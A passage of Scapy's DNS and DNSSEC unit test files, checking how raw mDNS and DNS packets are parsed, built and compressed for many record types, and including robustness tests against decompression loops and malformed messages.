b'\x01\x00^\x00\x00\xfb$\xa2\xe1\x90\xa9]\x08\x00E\x00\x01P\\\xdd\x00\x00\xff\x11\xbb\x93\xc0\xa8\x00\x88\xe0\x00\x00\xfb\x14\xe9\x14\xe9\x01<*\x81\x00\x00\x84\x00\x00\x00\x00\x03\x00\x00\x00\x04\x01B\x019\x015\x019\x013\x014\x017\x013\x016\x017\x010\x012\x010\x01D\x018\x011\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x018\x01E\x01F\x03ip6\x04arpa\x00\x00\x0c\x80\x01\x00\x00\x00x\x00\x0f\x07Zalmoid\x05local\x00\x011\x01A\x019\x014\x017\x01E\x01A\x014\x01B\x01A\x01F\x01B\x012\x011\x014\x010\x010\x016\x01E\x01F\x017\x011\x01F\x012\x015\x013\x01E\x010\x011\x010\x01A\x012\xc0L\x00\x0c\x80\x01\x00\x00\x00x\x00\x02\xc0`\x03136\x010\x03168\x03192\x07in-addr\xc0P\x00\x0c\x80\x01\x00\x00\x00x\x00\x02\xc0`\xc0\x0c\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0\x0c\x00\x02\x00\x08\xc0o\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0o\x00\x02\x00\x08\xc0\xbd\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0\xbd\x00\x02\x00\x08\x00\x00)\x05\xa0\x00\x00\x11\x94\x00\x12\x00\x04\x00\x0e\x00\xc1&\xa2\xe1\x90\xa9]$\xa2\xe1\x90\xa9]' pkt = Ether(a) assert pkt.ancount == 3 assert pkt.arcount == 4 assert pkt.an[1].rdata == b'Zalmoid.local.' assert pkt.an[1].rdlen is None assert pkt.an[2].rdata == b'Zalmoid.local.' assert pkt.an[2].rdlen is None assert pkt.ar[1].nextname == b'1.A.9.4.7.E.A.4.B.A.F.B.2.1.4.0.0.6.E.F.7.1.F.2.5.3.E.0.1.0.A.2.ip6.arpa.' assert pkt.ar[2].nextname == b'136.0.168.192.in-addr.arpa.' pkt.show() = DNS frame with DNSRRSRV ~ dns b = Ether(b'33\x00\x00\x00\xfb$\xe3\x14M\x84\xc0\x86\xdd`\t\xc0f\x02b\x11\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x04*,\x03\xab+/\x14\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfb\x14\xe9\x14\xe9\x02b_\xd8\x00\x00\x84\x00\x00\x00\x00\x0b\x00\x00\x00\x06\x014\x011\x01F\x012\x01B\x012\x01B\x01A\x013\x010\x01C\x012\x01A\x012\x014\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x018\x01E\x01F\x03ip6\x04arpa\x00\x00\x0c\x80\x01\x00\x00\x00x\x00\x14\x0csCapys-fLuff\x05local\x00\x03177\x010\x03168\x03192\x07in-addr\xc0P\x00\x0c\x80\x01\x00\x00\x00x\x00\x02\xc0`\x01E\x01F\x017\x01D\x01B\x018\x014\x01C\x014\x01B\x016\x01E\x015\x017\x018\x010\x010\x016\x01E\x01F\x017\x011\x01F\x012\x015\x013\x01E\x010\x011\x010\x01A\x012\xc0L\x00\x0c\x80\x01\x00\x00\x00x\x00\x02\xc0`+24:e3:14:4d:84:c0@fe80::26e3:14ff:fe4d:84c0\x0e_apple-mobdev2\x04_tcp\xc0m\x00\x10\x80\x01\x00\x00\x11\x94\x00\x01\x00\t_services\x07_dns-sd\x04_udp\xc0m\x00\x0c\x00\x01\x00\x00\x11\x94\x00\x02\xc1\x12\x08521805b3\x04_sub\xc1\x12\x00\x0c\x00\x01\x00\x00\x11\x94\x00\x02\xc0\xe6\xc1\x12\x00\x0c\x00\x01\x00\x00\x11\x94\x00\x02\xc0\xe6\xc0\xe6\x00!\x80\x01\x00\x00\x00x\x00\x08\x00\x00\x00\x00~\xf2\xc0`\xc0`\x00\x1c\x80\x01\x00\x00\x00x\x00\x10\xfe\x80\x00\x00\x00\x00\x00\x00\x04*,\x03\xab+/\x14\xc0`\x00\x01\x80\x01\x00\x00\x00x\x00\x04\xc0\xa8\x00\xb1\xc0`\x00\x1c\x80\x01\x00\x00\x00x\x00\x10*\x01\x0e5/\x17\xfe`\x08u\xe6\xb4\xc4\x8b\xd7\xfe\xc0\x0c\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0\x0c\x00\x02\x00\x08\xc0t\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0t\x00\x02\x00\x08\xc0\x98\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0\x98\x00\x02\x00\x08\xc0\xe6\x00/\x80\x01\x00\x00\x11\x94\x00\t\xc0\xe6\x00\x05\x00\x00\x80\x00@\xc0`\x00/\x80\x01\x00\x00\x00x\x00\x08\xc0`\x00\x04@\x00\x00\x08\x00\x00)\x05\xa0\x00\x00\x11\x94\x00\x12\x00\x04\x00\x0e\x00\xcf&\xe3\x14M\x84\xc0$\xe3\x14M\x84\xc0') assert isinstance(b.an[7], DNSRRSRV) assert b.an[7].target == b'sCapys-fLuff.local.' assert b.an[6].rrname == b'_apple-mobdev2._tcp.local.' assert b.an[6].rdata == b'24:e3:14:4d:84:c0@fe80::26e3:14ff:fe4d:84c0._apple-mobdev2._tcp.local.' = DNS frame with decompression hidden args ~ dns c = b'\x01\x00^\x00\x00\xfb\x14\x0cv\x8f\xfe(\x08\x00E\x00\x01C\xe3\x91@\x00\xff\x11\xf4u\xc0\xa8\x00\xfe\xe0\x00\x00\xfb\x14\xe9\x14\xe9\x01/L \x00\x00\x84\x00\x00\x00\x00\x04\x00\x00\x00\x00\x05_raop\x04_tcp\x05local\x00\x00\x0c\x00\x01\x00\x00\x11\x94\x00\x1e\x1b140C768FFE28@Freebox Server\xc0\x0c\xc0(\x00\x10\x80\x01\x00\x00\x11\x94\x00\xa0\ttxtvers=1\x08vs=190.9\x04ch=2\x08sr=44100\x05ss=16\x08pw=false\x06et=0,1\x04ek=1\ntp=TCP,UDP\x13am=FreeboxServer1,2\ncn=0,1,2,3\x06md=0,2\x07sf=0x44\x0bft=0xBF0A00\x08sv=false\x07da=true\x08vn=65537\x04vv=2\xc0(\x00!\x80\x01\x00\x00\x00x\x00\x19\x00\x00\x00\x00\x13\x88\x10Freebox-Server-3\xc0\x17\xc1\x04\x00\x01\x80\x01\x00\x00\x00x\x00\x04\xc0\xa8\x00\xfe' pkt = Ether(c) assert DNS in pkt assert pkt.an[0].rdata == b'140C768FFE28@Freebox Server._raop._tcp.local.' assert pkt.an[1].rdata == [b'txtvers=1', b'vs=190.9', b'ch=2', b'sr=44100', b'ss=16', b'pw=false', b'et=0,1', b'ek=1', b'tp=TCP,UDP', b'am=FreeboxServer1,2', b'cn=0,1,2,3', b'md=0,2', b'sf=0x44', b'ft=0xBF0A00', b'sv=false', b'da=true', b'vn=65537', b'vv=2'] assert pkt.an[2].rrname == b'140C768FFE28@Freebox Server._raop._tcp.local.' assert pkt.an[2].port == 5000 assert pkt.an[2].target == b'Freebox-Server-3.local.' assert pkt.an[3].rrname == b'Freebox-Server-3.local.' assert pkt.an[3].rdata == '192.168.0.254' = Other compressed DNS ~ dns s = b'\x00\x00\x84\x00\x00\x00\x00\x02\x00\x00\x00\x06\x0bGourmandise\x04_smb\x04_tcp\x05local\x00\x00!\x80\x01\x00\x00\x00x\x00\x14\x00\x00\x00\x00\x01\xbd\x0bGourmandise\xc0"\x0bGourmandise\x0b_afpovertcp\xc0\x1d\x00!\x80\x01\x00\x00\x00x\x00\x08\x00\x00\x00\x00\x02$\xc09\xc09\x00\x1c\x80\x01\x00\x00\x00x\x00\x10\xfe\x80\x00\x00\x00\x00\x00\x00\x00s#\x99\xca\xf7\xea\xdc\xc09\x00\x01\x80\x01\x00\x00\x00x\x00\x04\xc0\xa8\x01x\xc09\x00\x1c\x80\x01\x00\x00\x00x\x00\x10*\x01\xcb\x00\x0bD\x1f\x00\x18k\xb1\x99\x90\xdf\x84.\xc0\x0c\x00/\x80\x01\x00\x00\x00x\x00\t\xc0\x0c\x00\x05\x00\x00\x80\x00@\xc0G\x00/\x80\x01\x00\x00\x00x\x00\t\xc0G\x00\x05\x00\x00\x80\x00@\xc09\x00/\x80\x01\x00\x00\x00x\x00\x08\xc09\x00\x04@\x00\x00\x08' pkt = DNS(s) assert [x.rrname for x in pkt.ar] == [ b'Gourmandise.local.', b'Gourmandise.local.', b'Gourmandise.local.', b'Gourmandise._smb._tcp.local.', b'Gourmandise._afpovertcp._tcp.local.', b'Gourmandise.local.' ] = DNS advanced building ~ dns pkt = DNS(qr=1, qd=[], aa=1, rd=1) pkt.an = [ DNSRR(type=12, rrname='_raop._tcp.local.', rdata='140C768FFE28@Freebox Server._raop._tcp.local.'), DNSRR(rrname='140C768FFE28@Freebox Server._raop._tcp.local.', type=16, rdata=[b'txtvers=1', b'vs=190.9', b'ch=2', b'sr=44100', b'ss=16', b'pw=false', b'et=0,1', b'ek=1', b'tp=TCP,UDP', b'am=FreeboxServer1,2', b'cn=0,1,2,3', b'md=0,2', b'sf=0x44', b'ft=0xBF0A00', b'sv=false', b'da=true', b'vn=65537', b'vv=2']), DNSRRSRV(rrname='140C768FFE28@Freebox Server._raop._tcp.local.', target='Freebox-Server-3.local.', port=5000, type=33, cacheflush=1, rclass=1), DNSRR(rrname='Freebox-Server-3.local.', rdata='192.168.0.254', cacheflush=1, rclass=1, type=1, ttl=120), ] pkt = DNS(raw(pkt)) assert DNSRRSRV in pkt.an[2] assert pkt.an[2][DNSRRSRV].target == b'Freebox-Server-3.local.' assert pkt.an[2][DNSRRSRV].rrname == b'140C768FFE28@Freebox Server._raop._tcp.local.' assert pkt.an[3].rrname == b'Freebox-Server-3.local.' assert pkt.an[3].rdata == '192.168.0.254' = Basic DNS Compression ~ dns assert len(pkt) == 426 z = pkt.compress() assert len(z) == 295 assert z.an[0].rrname == b'_raop._tcp.local.' assert z.an[0].rdata == b'\x1b140C768FFE28@Freebox Server\xc0\x0c' assert z.an[1].rrname == z.an[2].rrname == b'\xc0(' assert z.an[2].target == b'\x10Freebox-Server-3\xc0\x17' assert z.an[3].rrname == b'\xc1\x04' raw(z) assert raw(z) == b'\x00\x00\x85\x00\x00\x00\x00\x04\x00\x00\x00\x00\x05_raop\x04_tcp\x05local\x00\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x1e\x1b140C768FFE28@Freebox Server\xc0\x0c\xc0(\x00\x10\x00\x01\x00\x00\x00\x00\x00\xa0\ttxtvers=1\x08vs=190.9\x04ch=2\x08sr=44100\x05ss=16\x08pw=false\x06et=0,1\x04ek=1\ntp=TCP,UDP\x13am=FreeboxServer1,2\ncn=0,1,2,3\x06md=0,2\x07sf=0x44\x0bft=0xBF0A00\x08sv=false\x07da=true\x08vn=65537\x04vv=2\xc0(\x00!\x80\x01\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x13\x88\x10Freebox-Server-3\xc0\x17\xc1\x04\x00\x01\x80\x01\x00\x00\x00x\x00\x04\xc0\xa8\x00\xfe' recompressed = DNS(raw(z)) recompressed.clear_cache() recompressed.an[0].rdlen = None recompressed.an[1].rdlen = None recompressed.an[2].rdlen = None recompressed.an[3].rdlen = None assert raw(recompressed) == raw(pkt) = DNS cache clearance on sub change ~ dns # GH4216 p = DNS(b'\x00\x00\x01\x00\x00\x00\x00\x02\x00\x00\x00\x00\x03H-1\x05local\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x06\x03H-2\xc0\x10\xc0!\x00\x05\x00\x01\x00\x00\x00\x00\x00\x02\xc0\x0c') p[DNS].an[0].rrname = 'H' assert p.raw_packet_cache is None assert bytes(p) == b'\x00\x00\x01\x00\x00\x00\x00\x02\x00\x00\x00\x00\x01H\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x0b\x03H-2\x05local\x00\x03H-2\x05local\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x0b\x03H-1\x05local\x00' = DNS frames with MX records ~ dns frame = b'E\x00\x00\xa4\x93\x1d\x00\x00y\x11\xdc\xfc\x08\x08\x08\x08\xc0\xa8\x00w\x005\xb4\x9b\x00\x90k\x80\x00\x00\x81\x80\x00\x01\x00\x05\x00\x00\x00\x00\x06google\x03com\x00\x00\x0f\x00\x01\xc0\x0c\x00\x0f\x00\x01\x00\x00\x02B\x00\x11\x00\x1e\x04alt2\x05aspmx\x01l\xc0\x0c\xc0\x0c\x00\x0f\x00\x01\x00\x00\x02B\x00\t\x00\x14\x04alt1\xc0/\xc0\x0c\x00\x0f\x00\x01\x00\x00\x02B\x00\t\x002\x04alt4\xc0/\xc0\x0c\x00\x0f\x00\x01\x00\x00\x02B\x00\t\x00(\x04alt3\xc0/\xc0\x0c\x00\x0f\x00\x01\x00\x00\x02B\x00\x04\x00\n\xc0/' pkt = IP(frame) results = [x.exchange for x in pkt.an] assert results == [b'alt2.aspmx.l.google.com.', b'alt1.aspmx.l.google.com.', b'alt4.aspmx.l.google.com.', b'alt3.aspmx.l.google.com.', b'aspmx.l.google.com.'] pkt.clear_cache() assert raw(dns_compress(pkt)) == frame = DNS frame with typebitmaps ~ dns compressed_pkt = b'\x01\x00^\x00\x00\xfb\xa0\x10\x81\xd9\xd3y\x08\x00E\x00\x01\x14\\\n@\x00\xff\x116n\xc0\xa8F\xbc\xe0\x00\x00\xfb\x14\xe9\x14\xe9\x01\x00Ho\x00\x00\x84\x00\x00\x00\x00\x04\x00\x00\x00\x03\x03188\x0270\x03168\x03192\x07in-addr\x04arpa\x00\x00\x0c\x80\x01\x00\x00\x00x\x00\x0f\x07Android\x05local\x00\x019\x017\x013\x01D\x019\x01D\x01E\x01F\x01F\x01F\x011\x018\x010\x011\x012\x01A\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x018\x01E\x01F\x03ip6\xc0#\x00\x0c\x80\x01\x00\x00\x00x\x00\x02\xc03\xc03\x00\x01\x80\x01\x00\x00\x00x\x00\x04\xc0\xa8F\xbc\xc03\x00\x1c\x80\x01\x00\x00\x00x\x00\x10\xfe\x80\x00\x00\x00\x00\x00\x00\xa2\x10\x81\xff\xfe\xd9\xd3y\xc0\x0c\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0\x0c\x00\x02\x00\x08\xc0B\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0B\x00\x02\x00\x08\xc03\x00/\x80\x01\x00\x00\x00x\x00\x08\xc03\x00\x04@\x00\x00\x08' pkt = Ether(compressed_pkt) assert pkt.ar[2].nextname == b"Android.local." assert pkt.ar[2].sprintf("%typebitmaps%") == "['A', 'AAAA']" = Advanced dns_get_str tests ~ dns full = b"\x06cheese\x00blobofdata....\x06hamand\xc0\x00" assert dns_get_str(full[22:], full=full)[0] == b'hamand.cheese.' = Decompression loop in dns_get_str ~ dns full = b"\x04data\xc0\x00" assert dns_get_str(full, full=full)[0] == b"data.data." = Prematured end in dns_get_str ~ dns assert dns_get_str(b"\x06da", 0)[0] == b"da." full = b"\x04data\xc0\x0f" assert dns_get_str(full, full=full)[0] == b"data." = DNS record type 13 (HINFO) b = b'\x00\x00\r\x00\x01\x00\x00\x00\x00\x00\x02\x00\x00' p = DNSRRHINFO() assert raw(p) == b p = DNSRRHINFO(b) assert p.cpu == b'' and p.os == b'' b = b'\x00\x00\r\x00\x01\x00\x00\x00\x00\x00\r\x06X86_64\x05LINUX' p = DNSRRHINFO(cpu='X86_64', os='LINUX') assert raw(p) == b p = DNSRRHINFO(b) assert p.cpu == b'X86_64' and p.os == b'LINUX' d = DNS(raw(DNS(qd=[],an=[p]))) assert raw(d.an[0]) == raw(p) = DNS record type 15 (MX) p = DNS(raw(DNS(qd=[],an=DNSRRMX(exchange='example.com')))) assert p.an[0].exchange == b'example.com.' = DNS record type 16 (TXT) p = DNS(raw(DNS(id=1,ra=1,qd=[],an=DNSRR(rrname='scapy', type='TXT', rdata="niceday", ttl=1)))) assert p[DNS].an[0].rdata == [b"niceday"] p = DNS(raw(DNS(id=1,ra=1,qd=[],an=DNSRR(rrname='secdev', type='TXT', rdata=["sweet", "celestia"], ttl=1)))) assert p[DNS].an[0].rdata == [b"sweet", b"celestia"] assert raw(p) == b'\x00\x01\x01\x80\x00\x00\x00\x01\x00\x00\x00\x00\x06secdev\x00\x00\x10\x00\x01\x00\x00\x00\x01\x00\x0f\x05sweet\x08celestia' # TXT RR with one empty string b = b'\x05scapy\x00\x00\x10\x00\x01\x00\x00\x00\x00\x00\x01\x00' rr = DNSRR(b) assert rr.rdata == [b""] assert rr.rdlen == 1 rr.clear_cache() assert DNSRR(raw(rr)).rdata == [b""] rr = DNSRR(rrname='scapy', type='TXT', rdata=[""]) assert raw(rr) == b rr = DNSRR(rrname='scapy', type='TXT') assert raw(rr) == b # TXT RR with zero-length RDATA b = b'\x05scapy\x00\x00\x10\x00\x01\x00\x00\x00\x00\x00\x00' rr = DNSRR(b) assert rr.rdata == [] assert rr.rdlen == 0 rr.clear_cache() assert DNSRR(raw(rr)).rdata == [] rr = DNSRR(rrname='scapy', type='TXT', rdata=[]) assert raw(rr) == b = DNS record type 35 (NAPTR) b = b'\x00\x00#\x00\x01\x00\x00\x00\x00\x00+\x00\n\x00d\x01u\x07E2U+sip\x1b!^.*$!sip:info@example.com!\x00' p = DNSRRNAPTR(b) assert p.order == 10 and p.preference == 100 and p.flags == b'u' and p.services == b'E2U+sip' assert p.regexp == b'!^.*$!sip:info@example.com!' and p.replacement == b'.' p = DNSRRNAPTR(order=10, preference=100, flags="u", services="E2U+sip", regexp="!^.*$!sip:info@example.com!") assert raw(p) == b = DNS record type 39 (DNAME) b = b'\x05local\x00\x00\x27\x00\x01\x00\x00\x00\x00\x00\x07\x05local\x00' p = DNSRR(b) assert p.rrname == b'local.' and p.type == 39 and p.rdata == b'local.' p = DNSRR(rrname=b'local', type='DNAME', rdata='local') assert raw(p) == b # Even though according to https://datatracker.ietf.org/doc/html/rfc6672#section-2.5 # The DNAME RDATA target name MUST NOT be sent out in compressed form # dns_compress compresses it intentionally to make it easier to test # DNS-related software that should be able to handle compressed and # uncompressed DNAMEs anyway regardless of what the RFC says. # Make sure it isn't compressed by default p = DNS(qd=[], an=[DNSRR(rrname='local', type='DNAME', rdata='local')]) assert raw(p).endswith(b'\x07\x05local\x00') # Make sure it can parse uncompressed DNAMEs rr = DNS(raw(p)).an[0] assert rr.rrname == b'local.' and rr.type == 39 and rr.rdata == b'local.' # Make sure dns_compress compresses DNAME RDATA cp = dns_compress(p) assert raw(cp).endswith(b'\x02\xc0\x0c') # Make sure it can parse compressed DNAMEs rr = DNS(raw(cp)).an[0] assert rr.rrname == b'local.' and rr.type == 39 and rr.rdata == b'local.' = DNS record type 64, 65 (SVCB, HTTPS) b = b'\x00\x00\x00\x04\x00\x01\x00\x06' p = SvcParam(b) assert p.key == 0 and p.value == [1, 6] assert b == raw(SvcParam(key='mandatory', value=['alpn', 'ipv6hint'])) b = b'\x00\x01\x00\x06\x02h3\x02h2' p = SvcParam(b) assert p.key == 1 and p.value == [b'h3', b'h2'] assert b == raw(SvcParam(key='alpn', value=['h3', 'h2'])) b = b'\x00\x02\x00\x00' p = SvcParam(b) assert p.key == 2 and p.value == [] assert b == raw(SvcParam(key='no-default-alpn')) b = b'\x00\x03\x00\x02\x04\xd2' p = SvcParam(b) assert p.key == 3 and p.value == 1234 assert b == raw(SvcParam(key='port', value=1234)) b = b'\x00\x04\x00\x08\xc0\xa8\x00\x01\xc0\xa8\x00\x02' p = SvcParam(b) assert p.key == 4 and p.value == ['192.168.0.1', '192.168.0.2'] assert b == raw(SvcParam(key='ipv4hint', value=['192.168.0.1', '192.168.0.2'])) b = b'\x00\x06\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' p = SvcParam(b) assert p.key == 6 and p.value == ['2001:db8::1'] assert b == raw(SvcParam(key='ipv6hint', value=['2001:db8::1'])) b = b'\x00\x07\x00\x10/dns-query{?dns}' p = SvcParam(b) assert p.key == 7 and p.value == b'/dns-query{?dns}' assert b == raw(SvcParam(key='dohpath', value=b'/dns-query{?dns}')) p = DNSRRSVCB() assert p.rrname == b'.' and p.type == 64 and p.svc_priority == 0 and p.svc_params == [] p = DNSRRHTTPS() assert p.rrname == b'.' and p.type == 65 and p.svc_priority == 0 and p.svc_params == [] # Real-world SVCB RR b = b'\x04_dns\x03one\x03one\x03one\x03one\x00\x00@\x00\x01\x00\x00\x01,\x001\x00\x01\x03one\x03one\x03one\x03one\x00\x00\x01\x00\x06\x02h3\x02h2\x00\x07\x00\x10/dns-query{?dns}' p = DNSRRSVCB(b) assert p.type == 64 and p.ttl == 300 and p.svc_priority == 1 and p.target_name == b'one.one.one.one.' alpn = SvcParam(key='alpn', value=['h3', 'h2']) dohpath = SvcParam(key='dohpath', value=b'/dns-query{?dns}') assert raw(p.svc_params[0]) == raw(alpn) assert raw(p.svc_params[1]) == raw(dohpath) assert b == raw(DNSRRSVCB(rrname='_dns.one.one.one.one', ttl=300, svc_priority=1, target_name='one.one.one.one', svc_params=[alpn, dohpath])) # Real-world HTTPS RR b = b'\ncloudflare\x03com\x00\x00A\x00\x01\x00\x00\x00>\x00=\x00\x01\x00\x00\x01\x00\x06\x02h3\x02h2\x00\x04\x00\x08h\x10\x84\xe5h\x10\x85\xe5\x00\x06\x00 &\x06G\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x10\x84\xe5&\x06G\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x10\x85\xe5' p = DNSRRHTTPS(b) assert p.type == 65 and p.ttl == 62 and p.svc_priority == 1 and p.target_name == b'.' alpn = SvcParam(key='alpn', value=['h3', 'h2']) ipv4hint = SvcParam(key='ipv4hint', value=['104.16.132.229', '104.16.133.229']) ipv6hint = SvcParam(key='ipv6hint', value=['2606:4700::6810:84e5', '2606:4700::6810:85e5']) assert raw(p.svc_params[0]) == raw(alpn) assert raw(p.svc_params[1]) == raw(ipv4hint) assert raw(p.svc_params[2]) == raw(ipv6hint) assert b == raw(DNSRRHTTPS(rrname='cloudflare.com', ttl=62, svc_priority=1, target_name='.', svc_params=[alpn, ipv4hint, ipv6hint])) = DNS - Malformed DNS over TCP message _old_dbg = conf.debug_dissector conf.debug_dissector = True try: p = IP(raw(IP()/TCP()/DNS(qd=[],length=28))[:-13]) assert False except Scapy_Exception as e: assert str(e) == "Malformed DNS message: too small!" try: p = IP(raw(IP()/TCP()/DNS(qd=[],length=28, qdcount=1))) assert False except Scapy_Exception as e: assert str(e) == "Malformed DNS message: invalid length!" conf.debug_dissector = _old_dbg = DNS - dns_compress on decompressed packet data = b'E\x00\x00n~\x82\x00\x00{\x11\xae\xeb\x08\x08\x08\x08\x01\x01\x01\x01\x005\x005\x00Z!\x17\x00\x00\x81\x80\x00\x01\x00\x00\x00\x01\x00\x00\x03www\x06google\x03com\x00\x00\x0f\x00\x01\xc0\x10\x00\x06\x00\x01\x00\x00\x002\x00&\x03ns1\xc0\x10\tdns-admin\xc0\x10\x14Po\x8f\x00\x00\x03\x84\x00\x00\x03\x84\x00\x00\x07\x08\x00\x00\x00<' p = IP(data) assert p.ns[0].rrname == b"google.com." assert p.ns[0].mname == b"ns1.google.com." assert p.ns[0].rname == b"dns-admin.google.com." cp = dns_compress(p) assert cp.ns[0].rrname == b'\xc0\x10' assert cp.ns[0].mname == b'\x03ns1\xc0\x10' assert cp.ns[0].rname == b'\tdns-admin\xc0\x10' p = IP(raw(cp)) assert p.ns[0].rrname == b"google.com." assert p.ns[0].mname == b"ns1.google.com." assert p.ns[0].rname == b"dns-admin.google.com." = DNS - dns_compress on close indexes p = dns_compress(DNS(qd=DNSQR(qname=b'scapy.'), an=DNSRR(rrname=b'scapy.'), ar=DNSRROPT(rrname=b'.'))) assert raw(p) == b'\x00\x00\x01\x00\x00\x01\x00\x01\x00\x00\x00\x01\x05scapy\x00\x00\x01\x00\x01\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00)\x10\x00\x00\x00\x80\x00\x00\x00' p = DNS(raw(p)) assert p.qd[0].qname == b'scapy.' assert p.an[0].rrname == b'scapy.' assert p.ar[0].rrname == b'.' = DNS - dns_compress with 1-length strings data = b'\xac\x81\x81\x80\x00\x01\x00\x06\x00\r\x00\x00\x04mqtt\x0bweatherflow\x03com\x00\x00\x01\x00\x01\xc0\x0c\x00\x05\x00\x01\x00\x00\x00\xe4\x00K\xae\xf9\xacw\t\x83\xe8V\xaf\x0f\xa7m\xdaV\xf78z\xad\x1f\xbf\x95=5\xd9\x071\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x0f\xe94\xdf\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xff\x15\x85\xe18.\xcbrZ\xce\x1f5u\n\xd1') # measure the time it takes old_max_list_count = conf.max_list_count conf.max_list_count = 10 import time t = time.monotonic() with no_debug_dissector(): try: dns = Ether(data) except MaximumItemsCount: pass delta = time.monotonic() - t assert delta < 10 conf.max_list_count = old_max_list_count = DNS - Backward compatibility: keep deprecated behavior ~ dns # Get through a list (should be pkt.an[0].rdata) c = b'\x01\x00^\x00\x00\xfb\x14\x0cv\x8f\xfe(\x08\x00E\x00\x01C\xe3\x91@\x00\xff\x11\xf4u\xc0\xa8\x00\xfe\xe0\x00\x00\xfb\x14\xe9\x14\xe9\x01/L \x00\x00\x84\x00\x00\x00\x00\x04\x00\x00\x00\x00\x05_raop\x04_tcp\x05local\x00\x00\x0c\x00\x01\x00\x00\x11\x94\x00\x1e\x1b140C768FFE28@Freebox Server\xc0\x0c\xc0(\x00\x10\x80\x01\x00\x00\x11\x94\x00\xa0\ttxtvers=1\x08vs=190.9\x04ch=2\x08sr=44100\x05ss=16\x08pw=false\x06et=0,1\x04ek=1\ntp=TCP,UDP\x13am=FreeboxServer1,2\ncn=0,1,2,3\x06md=0,2\x07sf=0x44\x0bft=0xBF0A00\x08sv=false\x07da=true\x08vn=65537\x04vv=2\xc0(\x00!\x80\x01\x00\x00\x00x\x00\x19\x00\x00\x00\x00\x13\x88\x10Freebox-Server-3\xc0\x17\xc1\x04\x00\x01\x80\x01\x00\x00\x00x\x00\x04\xc0\xa8\x00\xfe' pkt = Ether(c) with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") assert pkt.an.rdata == b'140C768FFE28@Freebox Server._raop._tcp.local.' assert len(w) == 1 and issubclass(w[-1].category, DeprecationWarning) # Set qd to None (should be qd=[]) with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") pkt = DNS(qr=1, qd=None, aa=1, rd=1) assert len(w) == 1 and issubclass(w[-1].category, DeprecationWarning) pkt = DNS(bytes(pkt)) assert pkt.qd == [] = DNS - command p = DNS() assert p == eval(p.command()) p = DNS(qd=[]) assert p == eval(p.command()) = DNS - iter through DNSStrFields pkt = DNSQR(qname=["domain1.com", "domain2.com"], qtype="A") for i in pkt: assert i.qname in [b"domain1.com.", b"domain2.com."] b = b'\x00\x08\x00\x0c\x00\x02=\x00+\xaf\xa3\xc4\xed\xeeW\xb8' p = EDNS0ClientSubnet(b) assert p.source_plen == 61 and p.address == '2baf:a3c4:edee:57b8::' ================================================ FILE: test/scapy/layers/dns_dnssec.uts ================================================ # DNSSEC Resource Record unit tests # # Type the following command to launch start the tests: # $ sudo bash test/run_tests -t test/dnssecRR.uts -F + bitmap2RRlist() = example from RFC 4034 RRlist2bitmap([1, 15, 46, 47, 1234]) == b'\x00\x06@\x01\x00\x00\x00\x03\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20' = [0] RRlist2bitmap([0]) == b'\x00\x01\x80' = [0,1,2,3,4,5,6,7] RRlist2bitmap([0,1,2,3,4,5,6,7]) == b'\x00\x01\xff' = [256,512,4096,36864] RRlist2bitmap([256,512,4096,36864]) == b'\x01\x01\x80\x02\x01\x80\x10\x01\x80\x90\x01\x80' = [65535] RRlist2bitmap([65535]) == b'\xff\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' + From RRlist2bitmap() to bitmap2RRlist() = example from RFC 4034 b = b'\x00\x06@\x01\x00\x00\x00\x03\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20' RRlist2bitmap(bitmap2RRlist(b)) == b = [0] b= b'\x00\x01\x80' RRlist2bitmap(bitmap2RRlist(b)) == b = [0,1,2,3,4,5,6,7] b = b'\x00\x01\xff' RRlist2bitmap(bitmap2RRlist(b)) == b = [256,512,4096,36864] b = b'\x01\x01\x80\x02\x01\x80\x10\x01\x80\x90\x01\x80' RRlist2bitmap(bitmap2RRlist(b)) == b = [65535] b = b'\xff\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' RRlist2bitmap(bitmap2RRlist(b)) == b + Test NSEC RR = DNSRRNSEC(), basic instantiation t = DNSRRNSEC() raw(t) == b'\x00\x00/\x00\x01\x00\x00\x00\x00\x00\x01\x00' = DNSRRRNSEC(), check parameters t = DNSRRNSEC(rrname="scapy.secdev.org.", rclass=42, 